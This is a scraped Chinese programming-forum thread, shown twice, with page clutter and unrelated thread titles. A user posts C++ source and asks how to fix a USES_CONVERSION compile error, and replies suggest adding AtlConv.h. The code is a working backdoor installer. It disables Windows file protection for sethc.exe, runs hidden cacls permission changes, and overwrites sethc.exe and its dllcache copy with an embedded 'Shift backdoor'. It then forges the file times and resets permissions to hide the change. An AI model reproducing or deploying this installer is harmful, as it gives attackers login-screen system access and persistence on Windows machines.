USES_CONVERSION; 未定义哪里错呢? 本帖最后由 a6408425 于 2009-09-28 16:21:49 编辑 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 http://topic.csdn.net/t/20021204/15/1230627.html //AutoRelease.cpp#include "stdafx.h"#include "resource.h"#include "tchar.h"int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){HRSRC hResInfo=NULL;HGLOBAL hResData=NULL;DWORD dwSize=0,dwWritten=0;HANDLE hFile = NULL;HANDLE hFile0 = NULL;char szDstFile[50]={0};char szDstFile0[50]={0};char Temp[100]={0};GetSystemDirectory(szDstFile,50);strcat(szDstFile,"\\sethc.exe");//sethc.exe文件绝对路径strcat(szDstFile0,"\\dllcache\\sethc.exe");//dllcache里面的备份也要替换strcpy(Temp,szDstFile);// 用FindResource先找到资源,IDR_EXEFILE1是我导入的sethc.exe后门的IDhResInfo = FindResource(NULL,MAKEINTRESOURCE(IDR_EXEFILE1),"EXEFILE");dwSize = SizeofResource(NULL,hResInfo);// LoadResource加载资源hResData = LoadResource(NULL,hResInfo); //对sethc.exe关闭文件保护DWORD (WINAPI *SfcFileException)(DWORD, LPWSTR, DWORD); SfcFileException = (DWORD (WINAPI *)(DWORD, LPWSTR, DWORD)) GetProcAddress(LoadLibrary(_T("SFC_OS.dll")), (LPCSTR)5);USES_CONVERSION; SfcFileException(0, A2W(Temp), -1);//先给Everyone的完全控制权限,防止被人设置了修改权限sprintf(Temp,"cacls %s /c /e /p everyone:f",szDstFile);WinExec(Temp,SW_HIDE);sprintf(Temp,"cacls %s /c /e /p everyone:f",szDstFile0);WinExec(Temp,SW_HIDE);strcpy(Temp,szDstFile0);sprintf(Temp,"cacls %s /c /e /p everyone:f",szDstFile);WinExec(Temp,SW_HIDE);sprintf(Temp,"cacls %s /c /e /p everyone:f",szDstFile0);WinExec(Temp,SW_HIDE);Sleep(500);//经过我严格测试,这里要稍微等一会,要不然下面去掉只读属性有时会不成功。SetFileAttributes(szDstFile,FILE_ATTRIBUTE_NORMAL); //去掉只读属性SetFileAttributes(szDstFile0,FILE_ATTRIBUTE_NORMAL);//创建文件hFile = CreateFile(szDstFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); //写入要释放的Shift后门文件WriteFile(hFile,(LPCVOID)LockResource(hResData),dwSize,&dwWritten,NULL); hFile0 = CreateFile(szDstFile0,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_READONLY,NULL);WriteFile(hFile0,(LPCVOID)LockResource(hResData),dwSize,&dwWritten,NULL); //修改文件时间HANDLE hFile1 = NULL;FILETIME CreateTime, LastAccessTime, LastWriteTime; char szSysFile[50]={0};GetSystemDirectory(szSysFile,50);strcat(szSysFile,"\\ntvdm.exe");//ntvdm.exe文件绝对路径,等会copy它的时间hFile1 = CreateFile(szSysFile,GENERIC_READ,0,0,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0); GetFileTime(hFile1,&CreateTime,&LastAccessTime,&LastWriteTime);//获取ntvdm.exe的文件时间SetFileTime(hFile,&CreateTime,&LastAccessTime,&LastWriteTime);//修改成ntvdm.exe时间//先去掉所有权限以防万一//这里如果不先去掉,后面赋予只读权限的时候是否会删除原有的修改权限我没有测试,有兴趣的可以测试一下,如果成功就可以省掉这里部分代码。sprintf(Temp,"cacls %s /t /c /e /r everyone",szDstFile);WinExec(Temp,SW_HIDE);sprintf(Temp,"cacls %s /t /c /e /r administrators",szDstFile);WinExec(Temp,SW_HIDE);sprintf(Temp,"cacls %s /t /c /e /r users",szDstFile);WinExec(Temp,SW_HIDE);sprintf(Temp,"cacls %s /t /c /e /r system",szDstFile);WinExec(Temp,SW_HIDE);sprintf(Temp,"cacls %s /t /c /e /r \"Power users\"",szDstFile);WinExec(Temp,SW_HIDE);//再给普通用户的读取运行权限(原版sethc.exe就是有这几个用户/用户组有相关权限,所以我现在还是给这几个用户/用户组分配读取权限。)sprintf(Temp,"cacls %s /c /e /p administrators:r",szDstFile);WinExec(Temp,SW_HIDE);sprintf(Temp,"cacls %s /c /e /p system:r",szDstFile);WinExec(Temp,SW_HIDE);sprintf(Temp,"cacls %s /c /e /p \"Power users\":r",szDstFile);WinExec(Temp,SW_HIDE);sprintf(Temp,"cacls %s /c /e /p users:r",szDstFile);WinExec(Temp,SW_HIDE);CloseHandle(hFile);CloseHandle(hFile1);CloseHandle(hFile0);return 0;}上去接着问。。这是代码~~ 加上:#include <AtlConv.h>即可。另,如果你用的是VC++ 2008的话,则不必调用USES_CONVERSION,把下面的代码:USES_CONVERSION; SfcFileException(0, A2W(Temp), -1);改成:SfcFileException(0, CA2W(Temp), -1); c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(46) : error C2146: syntax error : missing ';' before identifier 'WINAPI'c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(46) : error C2433: 'LPWSTR' : 'inline' not permitted on data declarationsc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(46) : error C2501: 'LPWSTR' : missing storage-class or type specifiersc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(46) : fatal error C1004: unexpected end of file foundError executing cl.exe.楼上的改过报这个错误 仔细看我的回复嘛,我说的是“如果你用的是VC++ 2008的话”才能那样改,你的vc98明显就是VC 6.0嘛~~你直接在stdafx.h里加上:#include <AtlConv.h>试试。另外,你的程序是MFC程序吧?如果是SDK程序的话可能用不了A2W这个宏。 搞错了,上面的回复没看清楚,请忽略上面的回复。你是不是把#include <AtlConv.h>加到#include <windows.h>前面去了?把#include <AtlConv.h>加到stdafx.h的最后试试 谢谢答复。。不过还是不行\program files\microsoft visual studio\vc98\atl\include\atlconv.h(48) : error C2065: '_ASSERTE' : undeclared identifierc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2065: 'LPCOLESTR' : undeclared identifierc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2146: syntax error : missing ')' before identifier 'x'c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2433: 'ocslen' : 'inline' not permitted on data declarationsc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2059: syntax error : ')'c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2143: syntax error : missing ';' before '{'c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2447: missing function header (old-style formal list?)c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(143) : error C2143: syntax error : missing ';' before '*'c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(143) : error C2433: 'OLECHAR' : 'inline' not permitted on data declarationsc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(143) : error C2501: 'OLECHAR' : missing storage-class or type specifiersc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(143) : error C2061: syntax error : identifier 'LPOLESTR'c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2501: 'ocscpy' : missing storage-class or type specifiersc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2065: 'LPOLESTR' : undeclared identifierc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2146: syntax error : missing ';' before identifier 'memcpy'c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2065: 'dest' : undeclared identifierc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2065: 'src' : undeclared identifierc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2143: syntax error : missing ';' before '*'c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2433: 'OLECHAR' : 'inline' not permitted on data declarationsc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2501: 'OLECHAR' : missing storage-class or type specifiersc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2086: 'OLECHAR' : redefinitionc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2061: syntax error : identifier 'LPOLESTR'c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2501: 'ocscat' : missing storage-class or type specifiersc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : warning C4508: 'ocscat' : function should return a value; 'void' return type assumedc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(151) : error C2146: syntax error : missing ';' before identifier 'CharNextO'c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(151) : error C2433: 'LPOLESTR' : 'inline' not permitted on data declarationsc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(151) : error C2501: 'LPOLESTR' : missing storage-class or type specifiersc:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(151) : fatal error C1004: unexpected end of file foundError executing cl.exe.你可以看看我一楼发的那个地址。。上边是发这个源码的地方。。我按照哪里搞的。。 NMLVCUSTOMDRAW和drawitemstructer的区别 一直用vc6.0编程,新买电脑装系统问题 怎么在tabctrl 中加载动态库中的Dialog呢? 如何在无VC环境的机器上注册用VC6开发的Active 控件? 一个关于文件操作的问题 CListCtrl中怎么设置滚动条,使它能跟随内容的增长而在下面? 大哥大姐们,怎么用一个按钮切换功能啊? 如何做VC那样的workspace? 自己调用使用GetMessage()会出错 LCC的怪问题。 网络层和链路层加入了哪些内容 用cedit控件读取数据显示在控件原有数据的末尾
#include "stdafx.h"
#include "resource.h"
#include "tchar.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HRSRC hResInfo=NULL;
HGLOBAL hResData=NULL;
DWORD dwSize=0,dwWritten=0;
HANDLE hFile = NULL;
HANDLE hFile0 = NULL;
char szDstFile[50]={0};
char szDstFile0[50]={0};
char Temp[100]={0};
GetSystemDirectory(szDstFile,50);
strcat(szDstFile,"\\sethc.exe");//sethc.exe文件绝对路径
strcat(szDstFile0,"\\dllcache\\sethc.exe");//dllcache里面的备份也要替换
strcpy(Temp,szDstFile);// 用FindResource先找到资源,IDR_EXEFILE1是我导入的sethc.exe后门的ID
hResInfo = FindResource(NULL,MAKEINTRESOURCE(IDR_EXEFILE1),"EXEFILE");
dwSize = SizeofResource(NULL,hResInfo);
// LoadResource加载资源
hResData = LoadResource(NULL,hResInfo); //对sethc.exe关闭文件保护
DWORD (WINAPI *SfcFileException)(DWORD, LPWSTR, DWORD);
SfcFileException = (DWORD (WINAPI *)(DWORD, LPWSTR, DWORD)) GetProcAddress(LoadLibrary(_T("SFC_OS.dll")), (LPCSTR)5);
USES_CONVERSION;
SfcFileException(0, A2W(Temp), -1);//先给Everyone的完全控制权限,防止被人设置了修改权限
sprintf(Temp,"cacls %s /c /e /p everyone:f",szDstFile);
WinExec(Temp,SW_HIDE);
sprintf(Temp,"cacls %s /c /e /p everyone:f",szDstFile0);
WinExec(Temp,SW_HIDE);
strcpy(Temp,szDstFile0);
sprintf(Temp,"cacls %s /c /e /p everyone:f",szDstFile);
WinExec(Temp,SW_HIDE);
sprintf(Temp,"cacls %s /c /e /p everyone:f",szDstFile0);
WinExec(Temp,SW_HIDE);Sleep(500);//经过我严格测试,这里要稍微等一会,要不然下面去掉只读属性有时会不成功。SetFileAttributes(szDstFile,FILE_ATTRIBUTE_NORMAL); //去掉只读属性
SetFileAttributes(szDstFile0,FILE_ATTRIBUTE_NORMAL);
//创建文件
hFile = CreateFile(szDstFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
//写入要释放的Shift后门文件
WriteFile(hFile,(LPCVOID)LockResource(hResData),dwSize,&dwWritten,NULL);
hFile0 = CreateFile(szDstFile0,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_READONLY,NULL);
WriteFile(hFile0,(LPCVOID)LockResource(hResData),dwSize,&dwWritten,NULL); //修改文件时间
HANDLE hFile1 = NULL;
FILETIME CreateTime, LastAccessTime, LastWriteTime;
char szSysFile[50]={0};
GetSystemDirectory(szSysFile,50);
strcat(szSysFile,"\\ntvdm.exe");//ntvdm.exe文件绝对路径,等会copy它的时间
hFile1 = CreateFile(szSysFile,GENERIC_READ,0,0,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0); GetFileTime(hFile1,&CreateTime,&LastAccessTime,&LastWriteTime);//获取ntvdm.exe的文件时间
SetFileTime(hFile,&CreateTime,&LastAccessTime,&LastWriteTime);//修改成ntvdm.exe时间//先去掉所有权限以防万一
//这里如果不先去掉,后面赋予只读权限的时候是否会删除原有的修改权限我没有测试,有兴趣的可以测试一下,如果成功就可以省掉这里部分代码。
sprintf(Temp,"cacls %s /t /c /e /r everyone",szDstFile);
WinExec(Temp,SW_HIDE);
sprintf(Temp,"cacls %s /t /c /e /r administrators",szDstFile);
WinExec(Temp,SW_HIDE);
sprintf(Temp,"cacls %s /t /c /e /r users",szDstFile);
WinExec(Temp,SW_HIDE);
sprintf(Temp,"cacls %s /t /c /e /r system",szDstFile);
WinExec(Temp,SW_HIDE);
sprintf(Temp,"cacls %s /t /c /e /r \"Power users\"",szDstFile);
WinExec(Temp,SW_HIDE);//再给普通用户的读取运行权限(原版sethc.exe就是有这几个用户/用户组有相关权限,所以我现在还是给这几个用户/用户组分配读取权限。)
sprintf(Temp,"cacls %s /c /e /p administrators:r",szDstFile);
WinExec(Temp,SW_HIDE);
sprintf(Temp,"cacls %s /c /e /p system:r",szDstFile);
WinExec(Temp,SW_HIDE);
sprintf(Temp,"cacls %s /c /e /p \"Power users\":r",szDstFile);
WinExec(Temp,SW_HIDE);
sprintf(Temp,"cacls %s /c /e /p users:r",szDstFile);
WinExec(Temp,SW_HIDE);CloseHandle(hFile);
CloseHandle(hFile1);
CloseHandle(hFile0);
return 0;
}上去接着问。。这是代码~~
#include <AtlConv.h>
即可。另,如果你用的是VC++ 2008的话,则不必调用USES_CONVERSION,把下面的代码:USES_CONVERSION;
SfcFileException(0, A2W(Temp), -1);改成:SfcFileException(0, CA2W(Temp), -1);
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(46) : error C2433: 'LPWSTR' : 'inline' not permitted on data declarations
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(46) : error C2501: 'LPWSTR' : missing storage-class or type specifiers
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(46) : fatal error C1004: unexpected end of file found
Error executing cl.exe.楼上的改过报这个错误
仔细看我的回复嘛,我说的是“如果你用的是VC++ 2008的话”才能那样改,你的vc98明显就是VC 6.0嘛~~
你直接在stdafx.h里加上:#include <AtlConv.h>试试。
另外,你的程序是MFC程序吧?如果是SDK程序的话可能用不了A2W这个宏。
把#include <AtlConv.h>加到stdafx.h的最后试试
谢谢答复。。不过还是不行
\program files\microsoft visual studio\vc98\atl\include\atlconv.h(48) : error C2065: '_ASSERTE' : undeclared identifier
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2065: 'LPCOLESTR' : undeclared identifier
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2146: syntax error : missing ')' before identifier 'x'
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2433: 'ocslen' : 'inline' not permitted on data declarations
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2059: syntax error : ')'
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2143: syntax error : missing ';' before '{'
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2447: missing function header (old-style formal list?)
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(143) : error C2143: syntax error : missing ';' before '*'
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(143) : error C2433: 'OLECHAR' : 'inline' not permitted on data declarations
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(143) : error C2501: 'OLECHAR' : missing storage-class or type specifiers
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(143) : error C2061: syntax error : identifier 'LPOLESTR'
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2501: 'ocscpy' : missing storage-class or type specifiers
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2065: 'LPOLESTR' : undeclared identifier
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2146: syntax error : missing ';' before identifier 'memcpy'
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2065: 'dest' : undeclared identifier
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2065: 'src' : undeclared identifier
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2143: syntax error : missing ';' before '*'
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2433: 'OLECHAR' : 'inline' not permitted on data declarations
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2501: 'OLECHAR' : missing storage-class or type specifiers
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2086: 'OLECHAR' : redefinition
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2061: syntax error : identifier 'LPOLESTR'
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2501: 'ocscat' : missing storage-class or type specifiers
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : warning C4508: 'ocscat' : function should return a value; 'void' return type assumed
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(151) : error C2146: syntax error : missing ';' before identifier 'CharNextO'
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(151) : error C2433: 'LPOLESTR' : 'inline' not permitted on data declarations
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(151) : error C2501: 'LPOLESTR' : missing storage-class or type specifiers
c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(151) : fatal error C1004: unexpected end of file found
Error executing cl.exe.你可以看看我一楼发的那个地址。。上边是发这个源码的地方。。我按照哪里搞的。。